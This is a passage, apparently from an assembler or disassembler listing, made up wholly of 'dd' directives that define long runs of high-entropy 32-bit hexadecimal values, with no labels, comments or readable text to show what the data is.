0C11DBB3Fh dd 0D52D20E0h, 0E3E8214Bh, 6C8CE2C0h, 50951F9Ah, 6180C93h dd 0C31A53B3h dd 418B2E02h, 77685651h, 0E91245D8h, 60E455AFh, 9159171Ah dd 7E8F4276h, 7261A8FAh, 5DE24ACh, 481209DCh, 3C776F21h dd 9312BE27h, 0F129EA29h, 0E030ED71h, 0A45002A8h, 1B5C6874h dd 0AC9847D1h, 0BDFB311Bh, 732D1316h, 9FBA579Ch, 22F77CC1h dd 5EF313ECh, 57796B90h, 0E760F52Ch, 84FC8291h, 2DBE7712h dd 5CBA9817h, 0E10ED46Bh, 0B579F5C2h, 0E2088952h, 0E2DED3F2h dd 0DC741CE9h, 0D4F93009h, 0B25258D6h, 6957F89Dh, 0AFDD285Dh dd 3FD33E50h, 1EBCF40h, 64F7FB87h, 0ED5008D7h, 71C710A6h dd 0AB16C04Fh, 3388E260h, 121C090Ch, 0CA02EFC1h, 0DF093D59h dd 0D597DB6Ch, 0F0C4209Bh, 4A912DCCh, 0CB827E8Bh, 0E26EF87Bh dd 0D7290A22h, 908BD55h, 0CA5818E9h, 24F0BF06h, 9301B8Dh dd 5FFE3582h, 0B05766F5h, 4231091Ah, 3685F801h, 4E20FC9Ah dd 1872D981h, 0C20F9804h, 37692401h, 0F2D3E961h, 9764BE2Eh dd 62550592h, 25995C6Dh, 1F24BE2Fh, 0E2B90E70h, 7723546Dh dd 625A9FDEh, 13A3083Ah, 68BA2918h, 26D9BD0Fh, 400EB88Fh dd 7D0D6ACDh, 0A8C64A70h, 54DD008Eh, 91E915A1h, 0FC9297B6h dd 5B058081h, 2B9E9341h, 0C1291744h, 2C8499F9h, 5057074Ah dd 0A284567Eh, 107E8EABh, 5D257CC9h, 7E973994h, 965FEBA0h dd 0F22D3D9Ah, 0FC30CD96h, 4E074122h, 0B0E90B68h, 32B09B26h dd 5F1A6880h, 6288D0DCh, 78BD0F53h, 812AE800h, 2501DEE5h dd 0E94D585Ah, 349D2E83h, 11B45BBh, 7DD6E864h, 3C1AB930h dd 2672E405h, 9B7754A3h, 86A54E0Dh, 9C828B80h, 52589A03h dd 200741D0h, 5095AE0h, 2E254Ah, 4BE9D04Ch, 0B89FA831h dd 3D27E051h, 1B13C981h, 0E9FD0705h, 61E1A2BDh, 0B7A01C7Dh dd 19D2C58h, 2D28E93Ah, 79C4EC22h, 96C6A3B8h, 684942EBh dd 46795C6Eh, 0E85E5891h, 0AA68E009h, 28F9B19h, 775E3E1Bh dd 0A4EF1E0h, 0FD0BEE2Eh, 7D45091Fh, 0E8AC4F4Ch, 446D7F1Eh dd 0C05DEF31h, 4E6642EBh, 35407800h, 5CA9778Dh, 4BCC0F0Dh dd 0F442082Ah, 0DB40AA0Ah, 1944352h, 73AC0297h, 0D3F4F871h dd 2246BA95h, 0FCF90DCEh, 6E5BBD21h, 486BE409h, 2C43A912h dd 2464B47h, 396D31F9h, 485E361h, 0F61690AAh, 885C52D7h dd 0C92610D0h, 0ECEBC112h, 0A04205ACh, 5EEC653Dh, 60C8F010h dd 0A8029252h, 0FA3F9868h, 0A4525F1Bh, 720ECE2Ah, 0F74B7132h dd 0C1C6AF40h, 17C241C0h, 0FECD3BE9h, 0BD3BED39h, 29C3B4F9h dd 235AA196h, 837D1C2Eh, 1E514C13h, 39B40C04h, 8982BC43h dd 974EF72Bh, 8A015C32h, 186ADDEEh, 0B02B07Fh, 6145BF61h dd 59026726h, 0A9A1E956h, 0EF27EACh, 7E41D305h, 2EC12113h dd 0BCA59BE8h, 0DD058061h, 5C300345h, 0FC5BDF09h, 0E70D5069h dd 79BD4A17h, 0F562EB23h, 60B6DE47h, 0EDC2F505h, 2966011Dh dd 35ED2BD8h, 1EDF02CBh, 2D5CBF99h, 477A5C79h, 0CBCDE9BAh dd 1876E354h, 261481E9h, 93EE5E66h, 2FCC72E3h, 0BE0AE043h dd 0A4070CC8h, 3CE84E3Eh, 594F2978h, 69DFEB4h, 21EC26AAh dd 0E34938C6h, 1C862CC5h, 0BD4F60Ch, 0EA803E5Ah, 2D275F9h dd 0AB0423C2h, 29DCC42Ch, 3FE90B3Ah, 1224CD6Ch, 0A18D3156h dd 5D5D02F6h, 34D914FEh, 0E69C126Fh, 0F0D6CB00h, 80B53F46h dd 0E807C538h, 8F71B151h, 0C1C0EFE5h, 0C9C9FE74h, 1808B1C1h dd 4631283Eh, 0B004AD3Eh, 17D059B2h, 0AF5768E2h, 1860C936h dd 41CF88B8h, 0BBDBFE9h, 4FC07D7Fh, 5D957221h, 5E54F390h dd 9152CCBFh, 0D357C9B0h, 67E9852Dh, 209B8D73h, 11216F0h dd 63BA3469h, 6005421Ah, 167113Dh, 482BE7C0h, 0BA754A44h dd 0DD022B94h, 8EEA28CCh, 864CBFE7h, 0BB87A4Dh, 2F847475h dd 0F70F02F5h, 85E540DBh, 50210101h, 7CE9DD29h, 40392E34h dd 22B1092Eh, 5D2C5C5Ch, 1A90E016h, 2D350547h, 7D4D2Ch dd 0E940A5E0h, 0E5365449h, 0D9F71DCAh, 0D1373931h, 3594F208h dd 6DFE95ABh, 3A4CBB01h, 0CBF9573Bh, 92CD507Fh, 56C6305Ah dd 1F7A8ABEh, 17FA6C5Bh, 0B7D9B3h, 0B0295993h, 153D0A5Ch dd 3BDD8643h, 8965ADF8h, 2D1C5A9Eh, 74A60687h, 0EAC2D584h dd 604C2DA0h, 1409CBB1h, 9A318730h, 4A56AC5Bh, 6E82CFEFh dd 877341A0h, 9424D101h, 0D02F019Ch, 68D6F736h, 3AA87AFAh dd 733AC9C1h, 67A93B4Eh, 6BDB8407h, 0F65C99EBh, 0DDF2E9E2h dd 0E8F716AFh, 0C651CF49h, 0B09A70A5h, 0C492635h, 4C990B1Ah dd 50B2BC4Ah, 3D34C9C1h, 2E1810F9h, 0C132AA4Fh, 83C87DC2h dd 0BABC70E9h, 0D816EC26h, 5389DFFDh, 0EC49804h, 0E9FE6159h dd 6D3F4108h, 93E82A44h, 0D7DBE9A0h, 1E3566C0h, 6043D163h dd 6081B648h, 61B80561h, 1A760E0Bh, 0A50176F7h, 5707EA75h dd 6A682CF9h, 0AF105349h, 4C523DFCh, 0ACD097C3h, 6E4ED720h dd 2E224A5Bh, 8077527Ch, 0E65892ADh, 0FBD981Eh, 0F18DC265h dd 0E055C78Bh, 962EE9C5h, 0E1C10466h, 0C68DEF08h, 7996D0DBh dd 1B344878h, 0A2B49105h, 0E9C2D13Eh, 5FD478E7h, 891408FBh dd 0D9CC7F27h, 31A85F25h, 2FF45FBh, 1A6E2512h, 96E0281Ch dd 0D62D229Ch, 4CE7C18h, 0FE896857h, 0D0805037h, 0BD0D1B02h dd 0FBE232A2h, 168FBA55h, 0B52AACAFh, 0B585540h, 1C03229Dh dd 51DD0949h, 11F9C3BEh, 47C76413h, 8951A303h, 28AACC66h dd 59549D20h, 650E8A4h, 0A1435C5h, 3BE3304h, 16A336DFh dd 5D52BAE9h, 0FCEA0254h, 165C1510h, 98C0174Ah, 3740750Fh dd 9FBAEC5Ah, 9D612003h, 91C0B9EFh, 3C16F8BEh, 55B00C8Fh dd 0C8EE4F01h, 99536DDh, 489758B0h, 0B57EC8CFh, 0FC13B564h dd 390A8453h, 0C19DD99Dh, 30389CF1h, 0E55BC05h, 931B759h dd 0D8CC04E7h, 80DEF603h, 61C0C299h, 3069EB6h, 20DB0B7Bh dd 0C5DF00F5h, 90E828F7h, 0B5A22F8Ah, 57BBD9B1h, 0E502CBB5h dd 6605EDAAh, 334EE4AEh, 8EBF23C0h, 0F46BFE53h, 0AB674BF5h dd 0BCC0C6C8h, 0C3350113h, 0CD68D505h, 114DF04Fh, 3E0C104h dd 53C24595h, 19ABD79Bh, 308A0200h, 687B6C66h, 837F284Dh dd 0D0EA467Eh, 94AA8BE9h, 0DE66EF56h, 0BB000A47h, 53B91EDCh dd 2DE128B8h, 7370AC46h, 9D09E4BFh, 5B309B16h, 0C62D565Eh dd 11C9282Ah, 70551FEh, 40787A31h, 475FB4Eh, 0E0209D84h dd 0EF25FB7Eh, 0A6D55EECh, 0AC5B5FAEh, 78BBB2AFh, 0B7E8FF3Ah dd 68D83928h, 741F62B2h, 0F997DBF0h, 0EEEF5034h, 39504B06h dd 8324C729h, 0B27F5008h, 0DB0E417Bh, 7568FA07h, 0ED60572Bh dd 4F728EAEh, 6D42BBA9h, 0DA331513h, 4E47097Ah, 3A576A90h dd 110C0F0Fh, 0E3E91C40h, 79EEEC55h, 2CFF21C4h, 565A09D4h dd 44130053h, 0EC5B4C6Ah, 321F4E46h, 2B52DE0Eh, 0DB253C92h dd 9033167Fh, 314D1363h, 24DCA122h, 0E2768ACh, 0B6CE637h dd 6DE4699Ch, 0E6AF215Dh, 15E17F5Fh, 163ECED8h, 0FB5B6E74h dd 2B6AB741h, 0C810741h, 0A7D0A9ABh, 6410FF29h, 0D1163513h dd 0F220BAEBh, 2428E43h, 0E9DF8996h, 14DDDCFCh, 75D40F72h dd 0EF606F0Fh, 0BA525601h, 0F95E1800h, 6AE28145h, 9253B39h dd 59B0F202h, 0C3F56BE6h, 807CD69Ch, 3CE9B8F5h, 0ECCAB1A0h dd 97FDB593h, 0EFFCC5D2h, 40EA5F2Ch, 50158B5h, 0EB0ED8C8h dd 89E1C331h, 4E148170h, 176ADA62h, 0EFC8FC51h, 0D4751792h dd 3B6DA110h, 4A26EBA0h, 0D6DCF956h, 355DE20Eh, 0AF958Dh dd 67EB7F36h, 9715D5E9h, 0A35D16A9h, 0E26387BFh, 4658062Dh dd 5FC32879h, 0C28D3CC1h dd 2646F0D4h, 0BE0D5826h, 115D4D09h, 2A27E0DDh, 90469F59h dd 0D764149Fh, 2FD28D6Ch, 680AE3FCh, 889C31C6h, 81006332h dd 0FD1137CBh, 0A8E4C149h, 6E71654Ch, 0E9420CC0h, 4D0D67C1h dd 948097D9h, 7E05BCCAh, 96F1394Fh, 2D022C7Ah, 9376503Dh dd 6D958909h, 554160Bh, 85A12542h, 4AE8F67Eh, 0B52A00AAh dd 28F3B438h, 0E868EC6Eh, 0FF55158Eh, 0C84B5CC5h, 0F7103EDh dd 0EFC15E12h, 2AF76603h, 5D75EA3Fh, 56A83852h, 1A2617C6h dd 20106523h, 3FC05724h, 6DD64504h, 7E04FB89h, 1160383h dd 98307960h, 224C7972h, 0FF17C9FBh, 2F43C88h, 417C1987h dd 53408F59h, 257836BBh, 0CC54317Bh, 909CE920h, 595C38Fh dd 39BA3DDAh, 8AEC6E7Dh, 578A40E5h, 26DAE953h, 9CD9F1B5h dd 0A8364BCBh, 94694005h, 0B2BCEBCCh, 350DA3E1h, 52F66E6Ah dd 0F8A9E983h, 0C87D2670h, 222C4812h, 6416F2FAh, 0EE56B886h dd 0B3A390D7h, 2C14008Fh, 0C0550430h, 0E0A103E8h, 93DD6E65h dd 0BA2067ECh, 0C2830222h, 26B66802h, 28BFC557h, 833B2224h dd 3A09F502h, 0D7556C37h, 0ED003744h, 0BB857DAh, 977815E9h dd 0B75838FCh, 68660E94h, 0EF981657h, 8000FFB1h, 0B25242EFh dd 5EF1E904h, 423B89A4h, 9DE82762h, 0EB263F64h, 0CE81BC2Ch dd 2077321Ch, 1A0A1F60h, 0AC8B58F0h, 77888B57h, 79239439h dd 20C04C12h, 0F32AE946h, 20683ED9h, 52E91C14h, 337D253Dh dd 6459E18Eh, 0BC629B57h, 4C06840Ch, 0F74EF0B8h, 26718462h dd 78B288Dh, 92720F68h, 994B8637h, 0AEE0B76Fh, 48504C53h dd 1392D25Ch, 2FABEDE1h, 24E5AB64h, 0D4EABD5Fh, 8B9DEA7Fh dd 0E997A43Ah, 0FE5B0E27h, 0C2817283h, 0C6382FE4h, 7E01B18Fh dd 60463982h, 6C124182h, 1CF073DCh, 609E9AD7h, 1E24365Dh dd 314E6CF2h, 118AEAA8h, 6C74A7A2h, 0E50DC432h, 5FD888CFh dd 58B6BE01h, 0EC300DFBh, 3CBF9B9Fh, 1EE227AFh, 8DF6F5Fh dd 310B4941h, 846C8208h, 0DC08A951h, 4F3350C3h, 221E029Fh dd 89B6009Bh, 8000CEFEh, 0F4280AC6h, 1BE5885Ah, 223DB9E9h dd 3A0BC0A9h, 719FC4B6h, 23CE7FFh, 46F2FD5Ah, 0A0C850B7h dd 274E5298h, 0C2D71141h, 5A080441h, 0E95C45EFh, 103ECFDh dd 8003E5C0h, 53ECD9C5h, 0BAAABF26h, 0DD3F16E3h, 0E2E62084h dd 79993669h, 490B1319h, 65725BD0h, 97433D20h, 0DD248771h dd 7E748000h, 5F07E965h, 9423FA7Fh, 0FB4A43h, 3B9005A1h dd 709574A7h, 0ECBA09EEh, 0E85415C4h, 75BF6809h, 4893E3F9h dd 0A0D540B4h, 0E1455B8Bh, 0E13EE93Fh, 0F77490E9h, 85E1A55Ch dd 0AD562A68h, 60B12C6Bh, 0C60B91A4h, 893AD525h, 0E62D79E4h dd 0C26ED662h, 0CCDCE2F5h, 8936818Eh, 11A1F52Eh, 0DAAEC879h dd 26E157E8h, 5BC0EF89h, 1B27620Ah, 7D09145Ah, 0DCBB8860h dd 34C51532h, 730B0940h, 8339AA50h, 0B15194FEh, 443F27F6h dd 1D70754h, 54F73843h, 91F6AF47h, 50FC4EDDh, 148ABA16h dd 0C236ED5Ah, 5C70BFE9h, 8934891h, 87405023h, 0F67AB320h dd 0F4CAB201h, 0AF6A5435h, 81DB415Eh, 758ACAF6h, 426B01B6h dd 3C7AE963h, 68817FD9h, 623E0EECh, 9F5F7C60h, 9691553h dd 7689E264h, 61A9F34Bh, 8028873Ah, 0CA32B1E2h, 0E1A78757h dd 5E1E13E3h, 7E05B126h, 369CBC84h, 6197915Ah, 6001C583h dd 3B045F6Dh, 0EDD171F4h, 10B7E83h, 3C65C1F1h, 7E313D79h dd 0E9D58F02h, 271F5C92h, 30F894FDh, 0C53D5144h, 490901B3h dd 0DDF776h, 0D571D0FDh, 0EF534E27h, 56EEDD52h, 0A553BE97h dd 4172D503h, 0C3E1ADE2h, 1023BE60h, 2515996Ah, 2989D508h dd 0E961BDDEh, 0AAD69AAh, 34052DF0h, 29A68B57h, 0FD61D0FAh dd 0A80CD13Ch, 2A5A2BE9h, 8140FBDh, 2A5D136Fh, 0A8014B90h dd 36E9B1AAh, 0B869136Bh, 5A907DBh, 0CF600AB6h, 7D180FE3h dd 0E7C11854h, 8014CE03h, 78090E25h, 0C459B6A7h, 4A0CEC9Fh dd 659464E3h, 637368C3h, 1AC67F10h, 2E37BC5Ah, 581B6B7h dd 45AA600Eh, 1FD6842Bh, 367B0007h, 0E95609EBh, 4513DD5Ah dd 0E928A1ABh, 0D6F23B83h, 25BA52C4h, 0B21716AFh, 38B81037h dd 79E3B05Fh, 68174878h, 0D1A8471Fh, 137426C4h, 0A74A70ECh dd 0E7B51232h, 0CB38580Bh, 1CE9A9B1h, 2F5FEA34h, 1675F031h dd 0DCC6040Eh, 0C114293Fh, 0DA9A68EAh, 5C808CA2h, 0E3DD0802h dd 0F1F49D80h, 0F58958F4h, 2B629ADFh, 0F0C1DEC6h, 2ED72FF3h dd 53AE003Eh, 7439DBBBh, 3BDDE5F1h, 0EEF5FDD8h, 0B8B627A1h dd 0E951CC80h, 73D34232h, 10E78901h, 72F13B6Ah, 8817AB38h dd 7A362DE2h, 0C066CC62h, 808A29C3h, 7634868h, 26C64FDFh dd 0EAB4314h, 0EB4CE3D1h, 8D13DFB8h, 5EB29E0h, 81DD893Fh dd 0E469C5AEh, 0AEC1767Eh, 1E562758h, 0AC731883h, 0BB4E3D33h dd 271041A3h, 0EB4062CBh, 0B04DF51h, 0BA24C489h, 0C101ACC1h dd 8283643Bh, 6605A411h, 0FB68B4FBh, 125C3A49h, 0E2E87519h dd 44C5FBB4h, 8D7462ABh, 2009B274h, 0BA17CFEh, 42879EE6h dd 5AF1008Fh, 7D48E950h, 0C51C152h, 96200B09h, 0F6F319B3h dd 0F22218F4h, 9B08D9DEh, 0FE870B74h, 0FC4DC605h, 928AC488h dd 4BCBE813h, 0B95D62A4h, 265908DEh, 71355800h, 0B5365F1Ch dd 1DFC0650h, 0D0B4B75Bh, 0D8E44E05h, 185AF268h, 0B50EAE6h dd 4A591695h, 507CB847h, 8B9572E0h, 4BF3FB9Fh, 36EFE9D7h dd 88130828h, 697CBCCCh, 0B4CB712Ch, 578A800Dh, 0D39406E9h dd 11657525h, 0AF005E13h, 4BE457BBh, 0E9E00ED1h, 91C0F37h dd 0B6D71C33h, 419F8ACFh, 8C6A3B4Ah, 5D405C21h, 0A7389659h dd 2B0125A0h, 60BD4F1Fh, 802C8B1Bh, 0F3BF6149h, 0F2E962D0h dd 0FF9892FDh, 0EE27A7F9h, 366712F7h, 2F18AB61h, 984A0606h dd 9B61350h, 88C8BA03h, 0C765BD5Ah, 0E1B25449h, 75064AE9h dd 9DE07BF9h, 0A820F9E5h, 9AF9037h, 626E4CC4h, 3783D03h dd 0D5E91DC9h, 3FE83B9Ah, 0D02515D4h, 642DD0E0h, 3517141Dh dd 36604E43h, 2B15F93Fh, 6EF4C86Eh, 7C484F13h, 7C6820Ah dd 3814D82Dh, 3C3E73BFh, 6577F683h, 180129D9h, 3F762634h dd 0D721EE83h, 97754E6h, 7510AE17h, 0D1B8F1C6h, 76EECAC3h dd 5D22EA45h, 2A2943F0h, 0DC02CBD2h, 0E12D3672h, 0C551C23Eh dd 0B62B5EF5h, 89D625C1h, 3F79D571h, 18AF046Bh, 0DA6971Eh dd 202E1DBFh, 5E974C27h, 0DF746B1Dh, 7E6F591Ch, 2B4D05AEh dd 0E8A7805Bh, 0ED0E2D02h, 0A0796012h, 39B97E6Dh, 7B7D7335h dd 16CC90BDh, 0B84481E9h, 7622F011h, 0E966170Bh, 0AF105360h dd 0D72476C7h, 0EFC7D0BFh, 4925260Eh, 0C726F780h, 0D377FD77h dd 476A5127h, 8D6805DBh, 5AC9B202h, 0BB92DEB7h, 528B4DB6h dd 4BF74000h, 0BA353E94h, 0F4F80BFBh, 2A67750Bh, 8A014FCh dd 589FF6B0h, 7F4F97BEh, 0B7433FACh, 0F0D93B0Fh, 302A5F98h dd 8E26EC80h, 711632FEh, 0CBFB8685h, 0E90F637Bh, 0D7E4F4BCh dd 44256FF4h, 3DAE68E2h, 61BD9AD5h, 0B92A846Dh, 1B080E7Ah dd 0F9894507h, 289520AEh, 593D66C8h, 2DFF705Ah, 6D630B46h dd 78A777CFh, 30FAF081h, 7BF3795Fh, 8042BE1h, 0F2EA49C4h dd 0AF2578C5h, 6A6657A7h, 7DBDD5A0h, 81615D07h, 941366CAh dd 880C0465h, 0AF1C8505h, 2E04BABDh, 0BF75B589h, 572D0C09h dd 9C2E8F62h, 5A5D7D89h, 685316F8h, 32DB21CCh, 69D83927h dd 582324FEh, 20216E81h, 48100BC1h, 9A059405h, 0C6317A39h dd 575B23C2h, 86803D14h dd 0FE1A09F2h, 0ECC13Bh, 0E708F786h, 5B8BF02Ch, 9653417Fh dd 2A1C733Ch, 0E0AFD4C4h, 7D045E4Fh, 0E989DCB5h, 0D8D96EC2h dd 87661384h, 0A110AFF9h, 0C9810606h, 1F0A2ABBh, 4B6E03C1h dd 0E942CA29h, 31C0882Fh, 0C0B70FC3h, 3203BB0h, 623E90E4h dd 6F591205h, 0A43BD00h, 9B1A4C86h, 96821203h, 0E8A5E991h dd 4A5D0FDDh, 688C0956h, 126EEFE6h, 1558D36h, 0EE45208Fh dd 11942E74h, 91C081Ah, 0A760214h, 25AEE50Eh, 2DDF9CDDh dd 82DC5A94h, 0EAECF97Bh, 32654E2Bh, 92D7E276h, 2CC705F8h dd 0FED8074Ch, 0A608979Dh, 3AB40367h, 98B8F480h, 4AE9CFC4h dd 885207F0h, 0ADA472C6h, 4E29CA2h, 5B11E080h, 0D9B7277Fh dd 0BD800F0h, 54E946E7h, 2D2EBE65h, 0A26C94BFh, 0A51AD655h dd 0BEAC0326h, 684B993Bh, 5CF31A60h, 0B85AB1CEh, 5F521254h dd 0C4BE6D17h, 1AF1B8B7h, 0CC3E143Dh, 54502508h, 4AD60138h dd 80B470CFh, 0E4C0DCF6h, 0EA0AD805h, 0E24E2087h, 96799C2h dd 2A1D403h, 8F050C3Eh, 447B1F18h, 6DEEA993h, 0A3EC6BAAh dd 0FFE860C3h, 0D8280B8Ch, 4E9120CEh, 7D5B5425h, 7D98E06Ch dd 77DAC35Eh, 22A2A85Eh, 65EA210Ah, 78A0E989h, 55FBFAA8h dd 0CC600D1Eh, 9189C3Bh, 2E5D2Ch, 617C929Dh, 0E6B55140h dd 2A40C4C1h, 0F3EAD225h, 0C223C4BEh, 68821ABCh, 0B2F50397h dd 3573FDF2h, 0F6A1D793h, 0C68AF96Ah, 4B188A18h, 0FE67FF59h dd 5758B0E2h, 93F0E364h, 1B8C434Fh, 28641D7h, 16699EE1h dd 0F2E23E59h, 0F10A3974h, 83055A7Fh, 72EF8FD0h, 684A1AD8h dd 1F7477h, 7888C504h, 0E91AEE01h, 774D152Ch, 0A0CBF754h dd 1368511Fh, 7B469571h, 6B4F7EF2h, 9B5EDACh, 0F5F8FB00h dd 8CB8DF97h, 0F1951F9Ch, 0F84F44ACh, 0F2D14C89h, 0E9DF9834h dd 0D12D53BAh, 16D7592Eh, 4D83F4A2h, 7E940C16h, 0FD30FB87h dd 0BEAFD5E9h, 4E6C8118h, 0F221235Fh, 769F29D8h, 0F2C0705Dh dd 0BC74FEBDh, 0EA101C17h, 0A9AD1428h, 0EE3131AFh, 2E72EC24h dd 11CE2C29h, 0D6FD4F01h, 341BAB48h, 0E2B35954h, 89F0C85Eh dd 587C3AF3h, 4CDF099Fh, 0EA6FAC52h, 0C63BFD03h, 0EAD031E4h dd 0E0C87547h, 8EC142D2h, 2D5648F1h, 321460DFh, 41AC35D0h dd 9D487AB5h, 0DC95DAB4h, 406E964Eh, 59E868A0h, 9C9371E4h dd 13EAE427h, 0E856623Ah, 5A2801F2h, 5351DFD1h, 34DCDB50h dd 0E7A5DD2h, 0B1FF0741h, 0AB2B9F18h, 0FDA5ED37h, 0E197CDBFh dd 2D8C3CEFh, 950FD705h, 0A9600E4Bh, 885064B7h, 1489BE8h dd 0CDD29285h, 173775Ah, 0B5C4E964h, 0A0F1A944h, 892BC1FFh dd 3063F4CDh, 0C3EA31CFh, 56EEE0Ch, 0CA5EB40Ch, 9094AE5Ah dd 0BD550805h, 60E81410h, 7879BED9h, 0B817008Ch, 637A6A8h dd 6339FD05h, 28525CCBh, 6AAC072Dh, 6F961BB0h, 25D7D62Dh dd 0D5F289DDh, 5C80AD4Fh, 0F6E28659h, 8A0C90D4h, 8A705FE0h dd 35AAF6B5h, 0B6B0AF0Ch, 0AFE5955Bh, 0F2074BAFh, 47020BB8h dd 9357311Ch, 9EC4F382h, 98E30B87h, 0AA584A77h, 0FD89FC02h dd 0ABCDE9B3h, 7430D5B0h, 4CB4E05h, 0F083097Ah, 0A7BA1F4Dh dd 9E72439h, 7B91913Ah, 7141CAF2h, 500E7EE7h, 91FCF80h dd 0DB7F4286h, 0A65D979Dh, 685500BFh, 4F407CF4h, 40394BE9h dd 1306EB41h, 0EFB04741h, 48A63FFFh, 0CAAAE9C2h, 5582535Ch dd 0C12AFC5Eh, 0E93F47AEh, 20FA97F6h, 0A8E9529Dh, 978650BDh dd 0B5DEB457h, 0F38B0C45h, 4D0F82FFh, 1F516045h, 0C9B23E2Eh dd 535CF29Bh, 5AD4BBADh, 0ADC23280h, 15572851h, 3E327A1h dd 0CAC27032h, 9C35655h, 32A024E9h, 4D1D9ABAh, 16095A48h dd 4B807D57h, 0BA047F2h, 0D301E3CEh, 0FC12B184h, 895D0A75h dd 0A9E85AC5h, 4E0AFC27h, 6630D3D4h, 18D9EFABh, 0D531BD27h dd 8018B62h, 5796CFE9h, 0A8C264F6h, 88B11C09h, 0E368E25h dd 14518CD0h, 0F9BB27E9h, 89C50A54h, 0BEE1FD0h, 79AE2D5Bh dd 81288FDh, 0FEA4CB3Dh, 4004413Ch, 7DDE7CD6h, 0EB29A418h dd 0B75BDAD4h, 0B725140h, 0E90F3505h, 0CD905314h, 0B8308BB0h dd 0CE2F28BCh, 0DA9096Bh, 54071156h, 0F2E1E2FAh, 9ABD1657h dd 7E522097h, 7153E919h, 0AC6FBAF5h, 60AE4F0Fh, 3ED9E988h dd 0CD16DD95h, 0E6387890h, 2DEB5E11h, 97EC3A37h, 8B8BAFDFh dd 826E4FD9h, 0AEF028BDh, 6B1EDFB1h, 9017C816h, 12B981B0h dd 0A57D557Eh, 4175F435h, 0AD160E3Ah, 4D9F206h, 0C139F3C9h dd 4DA5C06Bh, 31E1200Eh, 0C42D7A92h, 0EDAE2944h, 29FFB403h dd 0B07A52Eh, 0E7270204h, 0F03003EFh, 3B36A3B9h, 0C3800D20h dd 0A54BB5F7h, 694A10AEh, 0FAAE8DEAh, 421F08D9h, 251C41E2h dd 0B13A28B7h, 0AAD1015h, 2F5448F6h, 38DD96E9h, 5A346849h dd 0FAD43146h, 3F307E03h, 2BA32C3h, 4555355Ch, 0CCD509AEh dd 69D2712h, 0BE986D9h, 0DD61890Fh, 0E9E12F59h, 24844E99h dd 0BBCF885Ah, 474054C9h, 4CC747B6h, 2F04010Ah, 0C3761238h dd 4ED16758h, 83E17B6Ah, 5878C530h, 2A2EB6B5h, 955A776h dd 0A5487D02h, 8DC9FB5Ch, 77E2D7EDh, 3EB3CDC3h, 7BD0C35Ah dd 5B4468C8h, 5FFF3149h, 5F98A7FCh, 0E91F6667h, 0B22423B5h dd 0C2EF00BEh, 4CC96850h, 7A661196h, 0DAD09543h, 333C0802h dd 5CDEF754h, 99460952h, 2045E657h, 6816558Fh, 558C45B6h dd 0B3134A93h, 5558C02Bh, 0A8D13EE9h, 55DEE8Ah, 611ED405h dd 0BF89432h, 22C65E07h, 6377FE95h, 0DC4EFBE0h, 533F29A2h dd 6E77518Bh, 4DA686D5h, 1BD9BD0Dh, 0A6BFE9E1h, 3ED86A8h dd 0C1C980B7h, 85EC5066h, 3B4BAF32h, 98497AEAh, 0F5E76273h dd 1B753FFBh, 1BCDC80Ch, 0EB665E81h, 5024BF29h, 5E4E092Bh dd 880F4723h, 49302CA2h, 78D7455h, 9346FFF7h, 0F1EBE90Ah dd 30748BBFh, 554A68C2h, 0BD056E66h, 547A0D63h, 437983AFh dd 0D05D3EFEh, 67F95B3Bh, 8F58474Dh, 2A5F88E8h, 5B0ACF8Bh dd 9BBB25E9h, 8D02A458h, 8C34A3B9h, 7E0DF19h, 0F1488749h dd 8691Dh, 3E047477h, 67E91229h, 0D7E4BA5Bh, 22DCBD58h dd 0CB1285E9h, 2EE489D9h, 91DC9DEEh, 34770183h, 1158B429h dd 275A78E9h, 0CC8E1090h, 0E00CD3A6h, 0FF1719B9h, 64BA0138h dd 1A4BE7Dh, 8F12A2EFh, 5FB4539Ch, 153A802Ch, 0CDEE10D6h dd 65C91179h, 18540C22h, 13063BE9h, 0BF0E5BD8h, 333C205Eh dd 550C10A8h, 2C0C4018h, 9034CB0Fh, 0CABB9731h, 0A6C45045h dd 4C670213h, 7B063105h, 0C925CB80h, 35C6381Bh, 4D2333FEh dd 0B5A44CB4h, 0F1E82EB4h, 2F55B24h, 46FC75C5h, 0DF96DA82h dd 1A25FBFAh, 0F76CDDA7h, 97EEDE97h, 1577BA3Ah, 54C3F5B2h dd 0F3C196B1h, 0A0030760h, 6BA9AFE6h, 25621853h, 52EB9514h dd 8030C217h, 559B81FFh, 5E1C8C2Fh, 440B2C56h, 0D4BFC76Ch dd 4C7E2F15h, 77F38989h, 0E9858579h, 18014B9Fh, 0FD9CF288h dd 5A65102Fh, 81FE93C4h, 3ED12159h, 8E527F8h, 738270ECh dd 0E0762659h, 17B6C2F8h, 8261430Bh, 88CEA57h, 2540AAC2h dd 5BD96C88h, 455E7116h, 3B219139h, 6371FE3Bh, 0A0BCF97Ch dd 219F60E3h, 54C20A2Dh, 0F5B18C1h, 68F87F96h, 0BB884B4Fh dd 3EBAFC52h, 0F7983EAEh, 60F22AD2h, 577E9E7Ch, 60D89BDh dd 0A2DDBE95h, 0E0AD6CBFh, 0E9909710h, 124159E9h, 1387BC6Ah dd 30C976F9h, 82A1B860h, 0BDE3445Dh, 65F16E5Ch, 2D3DEE3Bh dd 0C8668C2Bh, 0A4054E5Ch, 3E491AAEh, 860D65DFh, 297D9468h dd 0DB2CB927h, 8CA7BD89h dd 2A5F37C1h, 21182CEAh, 5A204F63h, 69DADD58h, 148AEF4Ah dd 81E1C01Eh, 2CF4E980h, 53C8C0A1h, 0F80AB762h, 0E5D1F75Bh dd 51549A69h, 0EB5B13C9h, 0F52E2E31h, 0B8F19Dh, 40168C53h dd 0D3CD8F7h, 4A0903C0h, 0D85F2325h, 2040547h, 0E9BCBFA1h dd 0CB7C7E27h, 9F641150h, 75A7D776h, 0A43D7465h, 0C51D2C54h dd 33C192A0h, 0E74F284Fh, 0FE0569F1h, 0D1011774h, 215EB17Bh dd 383EB521h, 2883394h, 3AC0892Ch, 10A53FC7h, 0ECF4F2A1h dd 308E1334h, 0B74C04C1h, 0A3B00552h, 257879A8h, 0BB014EB6h dd 0DACE3024h, 4710895Ch, 0F1295B12h, 0F03A3119h, 18D66231h dd 2DBB50A0h, 27016D73h, 20A34F97h, 5ED5368h, 0E30CF0FEh dd 21EB2A4Fh, 2E0F2C42h, 4E250931h, 51179732h, 48CFF26Eh dd 401F5458h, 9E302D3Fh, 4BD60D95h, 3DFEAFC5h, 4047303Ah dd 0A542F9B4h, 0D4A409BEh, 8066F0D3h, 64EA38h, 0D2045AD0h dd 4828C72Ch, 422532E8h, 777BCA75h, 0FCE1BF0Eh, 3A01D5E9h dd 0FD56862Ch, 0AE2B87DDh, 0EAEB5E73h, 1F4F7E58h, 